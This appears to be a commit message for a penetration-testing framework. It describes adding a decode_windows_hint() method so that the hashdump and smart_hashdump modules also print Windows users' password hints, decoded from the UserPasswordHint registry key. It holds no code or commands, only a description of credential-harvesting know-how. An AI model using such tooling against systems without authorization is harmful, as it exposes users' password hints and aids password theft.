Adding Windows User Password Hint Decoding to Hashdump Tools

* UserPasswordHint, a key that is used to store the users password
hint, can be easily decoded to clear-text to get the users hint
(Example: "My Favorite Color")
* Added decode_windows_hint() method to perform the decode process
* Added decoded hint output for hashdump.rb and smart_hashdump.rb
